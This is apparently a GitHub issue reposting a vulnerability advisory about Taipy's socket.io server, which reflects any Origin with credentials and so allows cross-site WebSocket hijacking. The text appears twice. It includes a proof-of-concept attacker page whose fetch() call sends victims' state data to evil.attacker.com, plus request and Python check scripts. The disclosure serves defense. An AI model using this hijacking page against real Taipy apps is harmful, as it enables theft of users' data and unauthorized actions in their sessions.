🔍 What went wrong?
reported on 2 June 2026 https://github.com/Avaiga/taipy/security/advisories/GHSA-x2j8-rqpx-jw63 - no response.
Summary
Taipy's GUI server initializes its socket.io server with cors_allowed_origins="*", which causes flask-socketio/python-engineio to reflect any client-supplied Origin header in Access-Control-Allow-Origin while also setting Access-Control-Allow-Credentials: true. This combination allows any web page on any domain to establish a credentialed cross-origin socket.io connection to a Taipy application running in a victim's browser context. An attacker can read and write all Taipy state variables, trigger any on_action callback, initiate file downloads, and exfiltrate application data -- all without the user's knowledge and from a completely different domain.
Details
In taipy/gui/servers/flask/server.py, the _FlaskServer.__init__ method builds the socket.io configuration:
socketio_config: dict[str, t.Any] = {
"cors_allowed_origins": "*", # line 97 (HEAD) / line 94 (4.0.3)
"ping_timeout": 10,
"ping_interval": 5,
"json": json,
"async_mode": async_mode,
"allow_upgrades": allow_upgrades,
}
self._ws = SocketIO(self._server, **socketio_config)
The "*" string is passed to python-engineio's Server.__init__ as cors_allowed_origins. In engineio/server.py, the _cors_allowed_origins method interprets "*" as allowed_origins = None (meaning all origins are allowed), and _cors_headers then mirrors the actual HTTP_ORIGIN header from the request into the response:
elif self.cors_allowed_origins == '*':
allowed_origins = None
...
if 'HTTP_ORIGIN' in environ and (allowed_origins is None or environ['HTTP_ORIGIN'] in allowed_origins):
headers = [('Access-Control-Allow-Origin', environ['HTTP_ORIGIN'])]
if self.cors_credentials: # default True
headers += [('Access-Control-Allow-Credentials', 'true')]
The result is that for any incoming Origin: https://evil.attacker.com, the server responds with:
Access-Control-Allow-Origin: https://evil.attacker.com
Access-Control-Allow-Credentials: true
Browsers permit credentialed cross-origin requests only when the ACAO header carries the exact requesting origin (not *), so the credential flag is honored. An attacker page on any domain can therefore open a full socket.io session to the Taipy app with the victim's cookies attached.
The Taipy WebSocket API (_manage_ws_message in gui.py) processes UPDATE, ACTION, DATA_UPDATE, and REQUEST_UPDATE message types. These allow reading and writing all bound state variables, invoking all registered on_action callbacks, and triggering file download flows -- without any CSRF token or per-message credential check beyond the session cookie.
Verified against taipy-gui 4.0.3 (installed) and commit 5bcb574 (develop/4.2.0.dev9). Both branches contain the same configuration.
PoC
Prerequisites: A Taipy app running on http://victim.company.com:9720/ with any state variables and/or on_action callbacks defined.
Proof of origin reflection (run from a separate machine or curl with Origin header):
GET /socket.io/?EIO=4&transport=polling HTTP/1.1
Host: victim.company.com:9720
Origin: https://evil.attacker.com
Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.attacker.com
Access-Control-Allow-Credentials: true
0{"sid":"OP_Pr1LzX64ydGOCAAAJ","upgrades":["websocket"],...}
Attacker HTML page to drive the victim's Taipy session:
<!DOCTYPE html>
<html>
<head><title>CSWSH PoC</title></head>
<body>
<script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/4.7.4/socket.io.min.js"></script>
<script>
// Victim is on https://victim.company.com:9720
// Attacker page is on https://evil.attacker.com/attack.html
// Browser will include victim's cookies because Allow-Credentials is true
const socket = io("https://victim.company.com:9720", {
withCredentials: true // browser sends victim's cookies
});
socket.on("connect", () => {
console.log("[+] Cross-origin socket.io connected! SID:", socket.id);
// Get a Taipy client session
socket.emit("message", {type: "ID", payload: {id: ""}});
});
socket.on("message", (data) => {
console.log("[+] Server message:", JSON.stringify(data));
// Exfiltrate state variables
if (data.type === "MU") {
fetch("https://evil.attacker.com/collect?data=" + encodeURIComponent(JSON.stringify(data)));
}
});
</script>
</body>
</html>
Python PoC to confirm the vulnerability directly:
import urllib.request, json
url = "http://localhost:9720/socket.io/?EIO=4&transport=polling"
req = urllib.request.Request(url, headers={"Origin": "https://evil.attacker.com"})
with urllib.request.urlopen(req, timeout=5) as r:
print("ACAO:", r.headers.get("Access-Control-Allow-Origin"))
print("ACAC:", r.headers.get("Access-Control-Allow-Credentials"))
# Outputs:
# ACAO: https://evil.attacker.com
# ACAC: true
Steps to reproduce end-to-end:
- Deploy a Taipy application (
gui.run(host="0.0.0.0", port=9720)).
- Navigate to the Taipy app in a browser as a victim user.
- In another tab (or after storing session cookies), visit the attacker HTML page above.
- The attacker page connects to the Taipy socket.io endpoint with the victim's cookies.
- The attacker sends
{type: "RU", payload: [...variables...]} to request state updates and receives the current values of all bound Python variables over the WS channel.
Impact
Any unauthenticated user who can trick a victim into visiting an attacker-controlled web page can:
- Read all Taipy state variables visible to the victim's session (data tables, form values, PII, secrets stored in state).
- Write arbitrary values to all mutable state variables, causing the application to behave as if the victim took those actions.
- Trigger any
on_action callback (button handlers, form submissions, pipeline executions) without the victim's knowledge.
- Initiate file download flows (the
_download mechanism), potentially exfiltrating files the victim has access to.
The scope is marked Changed because the vulnerability crosses from the attacker's origin into the victim's Taipy application domain.
📦 Taipy Version
4.0.3
📋 Additional Context (Optional)
📜 Code of Conduct
✅ Acceptance Criteria
🔍 What went wrong?
reported on 2 June 2026 https://github.com/Avaiga/taipy/security/advisories/GHSA-x2j8-rqpx-jw63 - no response.
Summary
Taipy's GUI server initializes its socket.io server with
cors_allowed_origins="*", which causes flask-socketio/python-engineio to reflect any client-suppliedOriginheader inAccess-Control-Allow-Originwhile also settingAccess-Control-Allow-Credentials: true. This combination allows any web page on any domain to establish a credentialed cross-origin socket.io connection to a Taipy application running in a victim's browser context. An attacker can read and write all Taipy state variables, trigger anyon_actioncallback, initiate file downloads, and exfiltrate application data -- all without the user's knowledge and from a completely different domain.Details
In
taipy/gui/servers/flask/server.py, the_FlaskServer.__init__method builds the socket.io configuration:The
"*"string is passed to python-engineio'sServer.__init__ascors_allowed_origins. Inengineio/server.py, the_cors_allowed_originsmethod interprets"*"asallowed_origins = None(meaning all origins are allowed), and_cors_headersthen mirrors the actualHTTP_ORIGINheader from the request into the response:The result is that for any incoming
Origin: https://evil.attacker.com, the server responds with:Browsers permit credentialed cross-origin requests only when the ACAO header carries the exact requesting origin (not
*), so the credential flag is honored. An attacker page on any domain can therefore open a full socket.io session to the Taipy app with the victim's cookies attached.The Taipy WebSocket API (
_manage_ws_messageingui.py) processes UPDATE, ACTION, DATA_UPDATE, and REQUEST_UPDATE message types. These allow reading and writing all bound state variables, invoking all registeredon_actioncallbacks, and triggering file download flows -- without any CSRF token or per-message credential check beyond the session cookie.Verified against taipy-gui 4.0.3 (installed) and commit 5bcb574 (develop/4.2.0.dev9). Both branches contain the same configuration.
PoC
Prerequisites: A Taipy app running on
http://victim.company.com:9720/with any state variables and/or on_action callbacks defined.Proof of origin reflection (run from a separate machine or curl with Origin header):
Response:
Attacker HTML page to drive the victim's Taipy session:
Python PoC to confirm the vulnerability directly:
Steps to reproduce end-to-end:
gui.run(host="0.0.0.0", port=9720)).{type: "RU", payload: [...variables...]}to request state updates and receives the current values of all bound Python variables over the WS channel.Impact
Any unauthenticated user who can trick a victim into visiting an attacker-controlled web page can:
on_actioncallback (button handlers, form submissions, pipeline executions) without the victim's knowledge._downloadmechanism), potentially exfiltrating files the victim has access to.The scope is marked Changed because the vulnerability crosses from the attacker's origin into the victim's Taipy application domain.
📦 Taipy Version
4.0.3
📋 Additional Context (Optional)
📜 Code of Conduct
✅ Acceptance Criteria